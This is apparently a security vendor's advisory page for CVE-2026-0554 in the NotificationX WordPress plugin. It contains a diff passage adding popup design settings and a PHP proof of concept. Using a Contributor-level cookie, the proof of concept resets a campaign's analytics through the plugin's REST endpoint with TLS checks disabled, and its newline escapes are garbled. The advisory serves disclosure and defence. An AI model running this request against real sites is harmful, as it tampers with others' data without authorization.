+                    'popup_subtitle'            => __('Would like to get the lastes news & updates instantly?', 'notificationx'),
+                    'popup_email_placeholder'   => __('Enter email address', 'notificationx'),
+                    'popup_button_text'         => __('Get In Touch', 'notificationx'),
+                    'popup_icon'                => 'mail_icon.svg',
+                    'popup_button_icon'         => 'mail_icon.svg',
+                    'position'                  => 'center',
+                ],
+                'is_pro' => true,
+                'column'  => "5",
+            ],
+            'theme-six' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-six.webp',
+                'defaults' => [
+                    'popup_title'             => __('Get latest news & updates', 'notificationx'),
+                    'popup_email_placeholder' => __('Your email address', 'notificationx'),
+                    'popup_button_text'       => __('Submit Now', 'notificationx'),
+                    'position'                => 'center',
+                ],
+                'is_pro' => true,
+                'column'  => "5",
+            ],
+            'theme-three' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-three.png',
+                'defaults' => [
+                    'popup_title'                    => __('All Offers', 'notificationx'),
+                    'popup_button_text'              => __('Latest Offers', 'notificationx'),
+                    'popup_button_icon'              => 'latest_offer.svg',
+                    'position'                       => 'center',
+                ],
+                'column'   => "5",
+            ],
+
+        ];
+    }
+
+     public function init_fields() {
+        parent::init_fields();
+        add_filter('nx_design_tab_fields', [$this, 'design_fields'], 99);
+        add_filter('nx_content_fields', [$this, 'content_fields'], 999);
+        add_filter('nx_customize_fields', [$this, 'customize_fields'], 999);
+        add_filter('nx_display_fields', [$this, 'display_fields'], 999);
+    }
+
+    public function display_fields($fields) {
+        // Hide image selection
+        if (isset($fields['image-section'])) {
+            $fields['image-section'] = Rules::is('source', $this->id, true, $fields['image-section']);
+        }
+        return $fields;
+    }
+
+    public function design_fields( $fields ) {
+        if (isset($fields['advance_design_section']['fields']['design'])) {
+            $fields['advance_design_section']['fields']['design'] = Rules::is('source', $this->id, true, $fields['advance_design_section']['fields']['design']);
+        }
+        if (isset($fields['advance_design_section']['fields']['typography'])) {
+            $fields['advance_design_section']['fields']['typography'] = Rules::is('source', $this->id, true, $fields['advance_design_section']['fields']['typography']);
+        }
+        if (isset($fields['advance_design_section']['fields']['image-appearance'])) {
+            $fields['advance_design_section']['fields']['image-appearance'] = Rules::is('source', $this->id, true, $fields['advance_design_section']['fields']['image-appearance']);
+        }
+        if (isset($fields['advance_design_section']['fields']['link_button_design'])) {
+            $fields['advance_design_section']['fields']['link_button_design'] = Rules::is('source', $this->id, true, $fields['advance_design_section']['fields']['link_button_design']);
+        }
+
+        // Popup Container Design Section
+        $fields['advance_design_section']['fields']['popup_design'] = [
+            'label'    => __("Popup Design", 'notificationx'),
+            'name'     => "popup_design",
+            'type'     => "section",
+            'priority' => 5,
+            'rules'    => Rules::logicalRule([
+                Rules::is('source', $this->id, false),
+                Rules::is('advance_edit', true),
+            ]),
+            'fields' => [
+                [
+                    'label' => __("Background Color", 'notificationx'),
+                    'name'  => "popup_bg_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label' => __("Overlay Background Color", 'notificationx'),
+                    'name'  => "overlay_color",
+                    'type'  => "colorpicker",
+                    'help'  => __('Background color of the overlay behind the popup', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Popup Width', 'notificationx'),
+                    'name'        => "popup_width",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Maximum width of the popup container', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Border Radius', 'notificationx'),
+                    'name'        => "popup_border_radius",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Rounded corners for the popup container', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Popup Padding', 'notificationx'),
+                    'name'        => "popup_padding",
+                    'type'        => "text",
+                    'help'        => __('Internal spacing of popup content (e.g., 30px or 20px 30px)', 'notificationx'),
+                ],
+                [
+                    'label' => __("Close Button Color", 'notificationx'),
+                    'name'  => "close_btn_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label'       => __('Close Button Size', 'notificationx'),
+                    'name'        => "close_btn_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                ],
+            ]
+        ];
+
+        // Typography Section
+        $fields['advance_design_section']['fields']['popup_typography'] = [
+            'label'    => __("Typography", 'notificationx'),
+            'name'     => "popup_typography",
+            'type'     => "section",
+            'priority' => 6,
+            'rules'    => Rules::logicalRule([
+                Rules::is('source', $this->id, false),
+                Rules::is('advance_edit', true),
+            ]),
+            'fields' => [
+                [
+                    'label'   => __("Title Color", 'notificationx'),
+                    'name'    => "popup_title_color",
+                    'type'    => "colorpicker",
+                ],
+                [
+                    'label'       => __('Title Font Size', 'notificationx'),
+                    'name'        => "popup_title_font_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Font size for the popup title', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Title Font Weight', 'notificationx'),
+                    'name'        => "popup_title_font_weight",
+                    'type'        => "select",
+                    'options'     => GlobalFields::get_instance()->normalize_fields([
+                        '300' => __('Light (300)', 'notificationx'),
+                        '400' => __('Normal (400)', 'notificationx'),
+                        '500' => __('Medium (500)', 'notificationx'),
+                        '600' => __('Semi Bold (600)', 'notificationx'),
+                        '700' => __('Bold (700)', 'notificationx'),
+                        '800' => __('Extra Bold (800)', 'notificationx'),
+                    ]),
+                ],
+                [
+                    'label' => __("Subtitle Color", 'notificationx'),
+                    'name'  => "popup_subtitle_color",
+                    'type'  => "colorpicker",
+                    'rules' => Rules::is('themes', 'popup_notification_theme-seven'),
+                ],
+                [
+                    'label'       => __('Subtitle Font Size', 'notificationx'),
+                    'name'        => "popup_subtitle_font_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Font size for the popup subtitle', 'notificationx'),
+                    'rules'       => Rules::is('themes', 'popup_notification_theme-seven'),
+                ],
+                [
+                    'label' => __("Content/Message Color", 'notificationx'),
+                    'name'  => "popup_content_color",
+                    'type'  => "colorpicker",
+                    'rules' => Rules::logicalRule([
+                        Rules::is('themes', 'popup_notification_theme-one'),
+                        Rules::is('themes', 'popup_notification_theme-two'),
+                        Rules::is('themes', 'popup_notification_theme-three'),
+                        Rules::is('themes', 'popup_notification_theme-four'),
+                        Rules::is('themes', 'popup_notification_theme-five'),
+                    ], 'or'),
+                ],
+                [
+                    'label'       => __('Content/Message Font Size', 'notificationx'),
+                    'name'        => "popup_content_font_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Font size for the popup content/message text', 'notificationx'),
+                    'rules'       => Rules::logicalRule([
+                        Rules::is('themes', 'popup_notification_theme-one'),
+                        Rules::is('themes', 'popup_notification_theme-two'),
+                        Rules::is('themes', 'popup_notification_theme-three'),
+                        Rules::is('themes', 'popup_notification_theme-four'),
+                        Rules::is('themes', 'popup_notification_theme-five'),
+                    ], 'or'),
+                ],
+            ]
+        ];
+
+        // Button Design Section
+        $fields['advance_design_section']['fields']['popup_button_design'] = [
+            'label'    => __("Button Design", 'notificationx'),
+            'name'     => "popup_button_design",
+            'type'     => "section",
+            'priority' => 7,
+            'rules'    => Rules::logicalRule([
+                Rules::is('source', $this->id, false),
+                Rules::is('advance_edit', true),
+            ]),
+            'fields' => [
+                [
+                    'label' => __("Background Color", 'notificationx'),
+                    'name'  => "popup_button_bg_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label' => __("Hover Background Color", 'notificationx'),
+                    'name'  => "popup_button_hover_bg_color",
+                    'type'  => "colorpicker",
+                    'help'  => __('Background color when button is hovered', 'notificationx'),
+                ],
+                [
+                    'label' => __("Text Color", 'notificationx'),
+                    'name'  => "popup_button_text_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label' => __("Hover Text Color", 'notificationx'),
+                    'name'  => "popup_button_hover_text_color",
+                    'type'  => "colorpicker",
+                    'help'  => __('Text color when button is hovered', 'notificationx'),
+                ],
+                [
+                    'label' => __("Border Color", 'notificationx'),
+                    'name'  => "popup_button_border_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label' => __("Hover Border Color", 'notificationx'),
+                    'name'  => "popup_button_border_hover_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label'       => __('Border Width', 'notificationx'),
+                    'name'        => "popup_button_border_width",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Width of the button border', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Font Size', 'notificationx'),
+                    'name'        => "popup_button_font_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                ],
+                [
+                    'label'       => __('Font Weight', 'notificationx'),
+                    'name'        => "popup_button_font_weight",
+                    'type'        => "select",
+                    'options'     => GlobalFields::get_instance()->normalize_fields([
+                        '300' => __('Light (300)', 'notificationx'),
+                        '400' => __('Normal (400)', 'notificationx'),
+                        '500' => __('Medium (500)', 'notificationx'),
+                        '600' => __('Semi Bold (600)', 'notificationx'),
+                        '700' => __('Bold (700)', 'notificationx'),
+                    ]),
+                ],
+                [
+                    'label'       => __('Border Radius', 'notificationx'),
+                    'name'        => "popup_button_border_radius",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Rounded corners for the button', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Padding', 'notificationx'),
+                    'name'        => "popup_button_padding",
+                    'type'        => "text",
+                    'help'        => __('Button spacing in CSS format (e.g., 12px 24px)', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Button Width', 'notificationx'),
+                    'name'        => "popup_button_width",
+                    'type'        => "select",
+                    'default'     => 'auto',
+                    'options'     => GlobalFields::get_instance()->normalize_fields([
+                        'auto' => __('Auto Width', 'notificationx'),
+                        '100%' => __('Full Width', 'notificationx'),
+                        'custom' => __('Custom Width', 'notificationx'),
+                    ]),
+                ],
+                [
+                    'label'       => __('Custom Button Width', 'notificationx'),
+                    'name'        => "popup_button_custom_width",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'rules'       => Rules::is('popup_button_width', 'custom'),
+                ],
+            ]
+        ];
+
+        // Email Input Design Section (for email collection themes)
+        $fields['advance_design_section']['fields']['popup_email_design'] = [
+            'label'    => __("Email Input Design", 'notificationx'),
+            'name'     => "popup_email_design",
+            'type'     => "section",
+            'priority' => 8,
+            'rules'    => Rules::logicalRule([
+                Rules::is('source', $this->id, false),
+                Rules::is('advance_edit', true),
+                Rules::logicalRule([
+                    Rules::is('themes', 'popup_notification_theme-five'),
+                    Rules::is('themes', 'popup_notification_theme-six'),
+                    Rules::is('themes', 'popup_notification_theme-seven'),
+                ], 'or'),
+            ]),
+            'fields' => [
+                [
+                    'label' => __("Input Background Color", 'notificationx'),
+                    'name'  => "popup_email_bg_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label' => __("Input Text Color", 'notificationx'),
+                    'name'  => "popup_email_text_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label' => __("Input Border Color", 'notificationx'),
+                    'name'  => "popup_email_border_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label' => __("Input Focus Border Color", 'notificationx'),
+                    'name'  => "popup_email_focus_border_color",
+                    'type'  => "colorpicker",
+                    'help'  => __('Border color when input is focused', 'notificationx'),
+                ],
+                [
+                    'label' => __("Placeholder Text Color", 'notificationx'),
+                    'name'  => "popup_email_placeholder_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label'       => __('Input Font Size', 'notificationx'),
+                    'name'        => "popup_email_font_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                ],
+                [
+                    'label'       => __('Input Border Width', 'notificationx'),
+                    'name'        => "popup_email_border_width",
+                    'type'        => "number",
+                    'description' => 'px',
+                ],
+                [
+                    'label'       => __('Input Border Radius', 'notificationx'),
+                    'name'        => "popup_email_border_radius",
+                    'type'        => "number",
+                    'description' => 'px',
+                ],
+                [
+                    'label'       => __('Input Padding', 'notificationx'),
+                    'name'        => "popup_email_padding",
+                    'type'        => "text",
+                    'help'        => __('Input field spacing in CSS format (e.g., 12px 16px)', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Input Height', 'notificationx'),
+                    'name'        => "popup_email_height",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Height of the email input field', 'notificationx'),
+                ],
+            ]
+        ];
+
+        // Repeater Items Design Section (for theme-three only)
+        $fields['advance_design_section']['fields']['popup_repeater_design'] = [
+            'label'    => __("Content Items Design", 'notificationx'),
+            'name'     => "popup_repeater_design",
+            'type'     => "section",
+            'priority' => 9,
+            'rules'    => Rules::logicalRule([
+                Rules::is('source', $this->id, false),
+                Rules::is('advance_edit', true),
+                Rules::is('themes', 'popup_notification_theme-three'),
+            ]),
+            'fields' => [
+                [
+                    'label' => __("Item Background Color", 'notificationx'),
+                    'name'  => "popup_repeater_item_bg_color",
+                    'type'  => "colorpicker",
+                    'help'  => __('Background color for each content item', 'notificationx'),
+                ],
+                [
+                    'label' => __("Highlight Text Color", 'notificationx'),
+                    'name'  => "popup_repeater_highlight_color",
+                    'type'  => "colorpicker",
+                    'help'  => __('Color for the highlight text (e.g., "30% OFF")', 'notificationx'),
+                ],
+                [
+                    'label' => __("Item Title Color", 'notificationx'),
+                    'name'  => "popup_repeater_title_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label'       => __('Item Title Font Size', 'notificationx'),
+                    'name'        => "popup_repeater_title_font_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                ],
+                [
+                    'label'       => __('Item Title Font Weight', 'notificationx'),
+                    'name'        => "popup_repeater_title_font_weight",
+                    'type'        => "select",
+                    'options'     => GlobalFields::get_instance()->normalize_fields([
+                        '400' => __('Normal (400)', 'notificationx'),
+                        '500' => __('Medium (500)', 'notificationx'),
+                        '600' => __('Semi Bold (600)', 'notificationx'),
+                        '700' => __('Bold (700)', 'notificationx'),
+                    ]),
+                ],
+                [
+                    'label' => __("Item Subtitle Color", 'notificationx'),
+                    'name'  => "popup_repeater_subtitle_color",
+                    'type'  => "colorpicker",
+                ],
+                [
+                    'label'       => __('Item Subtitle Font Size', 'notificationx'),
+                    'name'        => "popup_repeater_subtitle_font_size",
+                    'type'        => "number",
+                    'description' => 'px',
+                ],
+                [
+                    'label'       => __('Item Border Radius', 'notificationx'),
+                    'name'        => "popup_repeater_item_border_radius",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Rounded corners for each content item', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Item Padding', 'notificationx'),
+                    'name'        => "popup_repeater_item_padding",
+                    'type'        => "text",
+                    'help'        => __('Internal spacing for each content item (e.g., 16px)', 'notificationx'),
+                ],
+                [
+                    'label'       => __('Item Spacing', 'notificationx'),
+                    'name'        => "popup_repeater_item_spacing",
+                    'type'        => "number",
+                    'description' => 'px',
+                    'help'        => __('Space between content items', 'notificationx'),
+                ],
+            ]
+        ];
+
+        return $fields;
+    }
+
+    public function content_fields( $fields ) {
+        if (isset($fields['utm_options'])) {
+            $fields['utm_options'] = Rules::is('source', $this->id, true, $fields['utm_options']);
+        }
+        if (isset($fields['content'])) {
+            $fields['content'] = Rules::is('source', $this->id, true, $fields['content']);
+        }
+
+        $fields['popup_content'] = [
+            'label'    => __('Popup Content', 'notificationx'),
+            'name'     => 'popup_content',
+            'type'     => 'section',
+            'priority' => 5,
+            'rules'    => Rules::is('source', $this->id),
+            'fields'   => [
+                [
+                    'label'    => __('Title', 'notificationx'),
+                    'name'     => 'popup_title',
+                    'type'     => 'text',
+                    'priority' => 10,
+                    'default'  => __('Special Offer!', 'notificationx'),
+                ],
+                [
+                    'label'    => __('Subtitle', 'notificationx'),
+                    'name'     => 'popup_subtitle',
+                    'type'     => 'text'

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0554 - NotificationX <= 3.1.11 - Missing Authorization to Authenticated (Contributor+) Analytics Reset

<?php

$target_url = 'https://example.com';
$cookie = 'wordpress_logged_in_abc=...';

// Target campaign ID to reset
$nx_id = 123;

// Endpoint for analytics reset
$endpoint = '/wp-json/notificationx/v1/analytics/reset';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['nx_id' => $nx_id]);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookie,
    'Content-Type: application/x-www-form-urlencoded'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "Success: Analytics reset for campaign ID $nx_idn";
    echo "Response: $responsen";
} else {
    echo "Failed with HTTP code: $http_coden";
    echo "Response: $responsen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School